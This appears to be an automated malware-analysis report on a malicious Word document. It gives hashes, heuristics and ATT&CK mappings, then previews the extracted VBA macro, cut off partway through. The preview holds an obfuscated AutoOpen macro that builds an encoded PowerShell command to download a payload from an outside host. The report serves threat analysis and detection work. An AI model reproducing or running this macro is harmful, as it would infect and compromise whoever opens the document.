Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3235acadbced150e…

MALICIOUS

Office (OLE)

168.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: b35a31a610e62a813551a37e01e7d1c8 SHA-1: 173d777034690355ef95dce483a239c9b92c2ef4 SHA-256: 3235acadbced150ed2bb83eeb155d586ae5d91fa4b5f0fddaceedcc44736cef6
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The file is a Microsoft Office Word document containing a VBA macro. The 'AutoOpen' macro is present and configured to execute a command via the 'Shell' function, indicating an intent to download and execute a secondary payload. The macro code is heavily obfuscated with numerous variables and complex calculations, making it difficult to determine the exact payload or destination. No specific malware family could be confidently identified.

Heuristics 6

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62468 bytes
SHA-256: f32c82f2be64ff4c1750b5e4f1a9d8ba1de0e8c21e24897cd140170ba91bfa0c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const rONyzisomiwulAxAZIgINeNhGAhaDEaeiOi = 0
Sub AutoOpen()
On Error Resume Next
Dim TUSypueQopEKemUDHAXAbEbaKYaIvit(4)

If 12 = 12 + (2 * 0) Then
Dim BUBISITABtlABoDEvOBIz(4)

If 13 = 13 + (2 * 0) Then
BUBISITABtlABoDEvOBIz(0) = CLng(3903)
End If
BUBISITABtlABoDEvOBIz(1) = Sqr(2)
BUBISITABtlABoDEvOBIz(2) = Month(39033903)
BUBISITABtlABoDEvOBIz(3) = Fix(3903.2)
Dim NupAlAMUGIjEayCOkEeQinYjeBUs(4)

If 12 = 12 + (4 * 0) Then
NupAlAMUGIjEayCOkEeQinYjeBUs(0) = CLng(4966)
End If
NupAlAMUGIjEayCOkEeQinYjeBUs(1) = Sqr(4)
NupAlAMUGIjEayCOkEeQinYjeBUs(2) = Month(49664966)
NupAlAMUGIjEayCOkEeQinYjeBUs(3) = Fix(4966.4)
TUSypueQopEKemUDHAXAbEbaKYaIvit(0) = CLng(6082)
Dim YioGOlaiOqicXOLcumAGEXUnAg(4)

If 12 = 12 + (5 * 0) Then
YioGOlaiOqicXOLcumAGEXUnAg(0) = CLng(2351)
End If
YioGOlaiOqicXOLcumAGEXUnAg(1) = Sqr(5)
YioGOlaiOqicXOLcumAGEXUnAg(2) = Month(23512351)
YioGOlaiOqicXOLcumAGEXUnAg(3) = Fix(2351.5)
Dim dawIlypEkAtUiOfoiYiyiisyRaTAzYCUcOSOX(4)

If 13 = 13 + (7 * 0) Then
dawIlypEkAtUiOfoiYiyiisyRaTAzYCUcOSOX(0) = CLng(6491)
End If
dawIlypEkAtUiOfoiYiyiisyRaTAzYCUcOSOX(1) = Sqr(7)
dawIlypEkAtUiOfoiYiyiisyRaTAzYCUcOSOX(2) = Month(64916491)
dawIlypEkAtUiOfoiYiyiisyRaTAzYCUcOSOX(3) = Fix(6491.7)
End If
TUSypueQopEKemUDHAXAbEbaKYaIvit(1) = Sqr(2)
Dim JIPYqAKIKISeCImwYaUdElUZYWyDiNaRYBeH(4)

If 11 = 11 + (4 * 0) Then
JIPYqAKIKISeCImwYaUdElUZYWyDiNaRYBeH(0) = CLng(4741)
End If
JIPYqAKIKISeCImwYaUdElUZYWyDiNaRYBeH(1) = Sqr(4)
JIPYqAKIKISeCImwYaUdElUZYWyDiNaRYBeH(2) = Month(47414741)
JIPYqAKIKISeCImwYaUdElUZYWyDiNaRYBeH(3) = Fix(4741.4)
TUSypueQopEKemUDHAXAbEbaKYaIvit(2) = Month(60826082)
Dim XIxYXIvlaJatdFYzMiqejeMacoaYxoLEL(4)

If 11 = 11 + (1 * 0) Then
XIxYXIvlaJatdFYzMiqejeMacoaYxoLEL(0) = CLng(7156)
End If
XIxYXIvlaJatdFYzMiqejeMacoaYxoLEL(1) = Sqr(1)
XIxYXIvlaJatdFYzMiqejeMacoaYxoLEL(2) = Month(71567156)
XIxYXIvlaJatdFYzMiqejeMacoaYxoLEL(3) = Fix(7156.1)
Dim rAqidaPaDiExIlirlYNUkoCyBAi(4)

If 12 = 12 + (2 * 0) Then
rAqidaPaDiExIlirlYNUkoCyBAi(0) = CLng(1827)
End If
rAqidaPaDiExIlirlYNUkoCyBAi(1) = Sqr(2)
rAqidaPaDiExIlirlYNUkoCyBAi(2) = Month(18271827)
rAqidaPaDiExIlirlYNUkoCyBAi(3) = Fix(1827.2)
TUSypueQopEKemUDHAXAbEbaKYaIvit(3) = Fix(6082.2)
pEhEZitGYqmiToPAgOnadaePIJyiLub = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^s^A^G^k^A^b^g^B^k^A^G^8^A^b^Q^B^v^A"
Dim wITuzmYnoGHALiTEXiGIdIcUjQIbipytu(4)

If 12 = 12 + (1 * 0) Then
wITuzmYnoGHALiTEXiGIdIcUjQIbipytu(0) = CLng(7544)
Dim lyxYLUGuKYEDaKAXOCorAmiryryxEfEFUJigorEBOq(4)

If 13 = 13 + (7 * 0) Then
lyxYLUGuKYEDaKAXOCorAmiryryxEfEFUJigorEBOq(0) = CLng(7734)
End If
lyxYLUGuKYEDaKAXOCorAmiryryxEfEFUJigorEBOq(1) = Sqr(7)
lyxYLUGuKYEDaKAXOCorAmiryryxEfEFUJigorEBOq(2) = Month(77347734)
lyxYLUGuKYEDaKAXOCorAmiryryxEfEFUJigorEBOq(3) = Fix(7734.7)
End If
wITuzmYnoGHALiTEXiGIdIcUjQIbipytu(1) = Sqr(1)
wITuzmYnoGHALiTEXiGIdIcUjQIbipytu(2) = Month(75447544)
wITuzmYnoGHALiTEXiGIdIcUjQIbipytu(3) = Fix(7544.1)
Dim ayaNYdYHYDaBAmSyQaxyxEmiGUXAsUJYKA(4)

If 12 = 12 + (4 * 0) Then
ayaNYdYHYDaBAmSyQaxyxEmiGUXAsUJYKA(0) = CLng(9568)
End If
ayaNYdYHYDaBAmSyQaxyxEmiGUXAsUJYKA(1) = Sqr(4)
ayaNYdYHYDaBAmSyQaxyxEmiGUXAsUJYKA(2) = Month(95689568)
ayaNYdYHYDaBAmSyQaxyxEmiGUXAs
... (truncated)